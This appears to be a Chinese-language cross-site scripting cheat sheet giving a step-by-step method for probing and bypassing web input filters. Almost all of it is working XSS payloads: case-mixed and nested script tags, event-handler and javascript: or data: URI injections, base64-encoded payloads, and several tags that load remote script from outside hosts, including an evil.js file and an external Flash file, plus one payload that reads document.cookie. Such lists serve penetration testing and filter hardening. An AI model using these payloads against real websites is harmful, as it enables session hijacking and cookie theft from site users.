摘要: 初始测试 1、使用无害的payload,类似b,i,u观察响应,判断应用程序是否被HTML编码,是否标签被过滤,是否过滤等等; 2、如果过滤闭合标签,尝试无闭合标签的payload(b,i,marquee)观察响应; 3、尝试 ...
初始测试 1、使用无害的payload,类似<b>,<i>,<u>观察响应,判断应用程序是否被HTML编码,是否标签被过滤,是否过滤<>等等; 2、如果过滤闭合标签,尝试无闭合标签的payload(<b,<i,<marquee)观察响应; 3、尝试以下的payload <script>alert(1);</script> <script>prompt(1);</script> <script>confirm (1);</script> <script src="http://rhainfosec.com/evil.js"> 判断是否触发过滤规则,尝试使用大小写混合字符 <scRiPt>alert(1);</scrIPt> 1、如果大小写不行的话,<script>被过滤尝试<scr<script>ipt>alert(1)</scr<script>ipt>; 2、使用<a>标签测试 <a href=“http://www.google.com">Clickme</a> <a被过滤? href被过滤? 其他内容被过滤? 如果没有过滤尝试使用<a href=”javascript:alert(1)”>Clickme</a> 尝试使用错误的事件查看过滤<a href=”rhainfosec.com” onclimbatree=alert(1)>ClickHere</a> HTML5拥有150个事件处理函数,可以多尝试其他函数<body/onhashchange=alert(1)><a href=#>clickit 测试其他标签 src属性 |
<img src=x onerror=prompt(1);><img/src=aaa.jpg onerror=prompt(1);<video src=x onerror=prompt(1);><audio src=x onerror=prompt(1);>iframe<iframesrc="javascript:alert(2)"><iframe/src="data:text/html;	base64
,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==">Embed<embed/src=//goo.gl/nlX0P>Action<form action="Javascript:alert(1)"><input type=submit><isindex action="javascript:alert(1)" type=image><isindex action=j	a	vas	c	r	ipt:alert(1) type=image><isindex action=data:text/html, type=image>mario验证<formaction='data:text/html,<script>alert(1)</script>'><button>CLICK“formaction”属性<isindexformaction="javascript:alert(1)" type=image><input type="image" formaction=JaVaScript:alert(0)><form><button formaction=javascript:alert(1)>CLICKME“background”属性<table background=javascript:alert(1)></table> // Works on Opera 10.5 and IE6“posters” 属性<video poster=javascript:alert(1)//></video> // Works Upto Opera 10.5“data”属性<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4="><object/data=//goo.gl/nlX0P?“code”属性<applet code="javascript:confirm(document.cookie);"> // Firefox Only<embed code="http://businessinfo.co.uk/labs/xss/xss.swf" allowscriptaccess=always>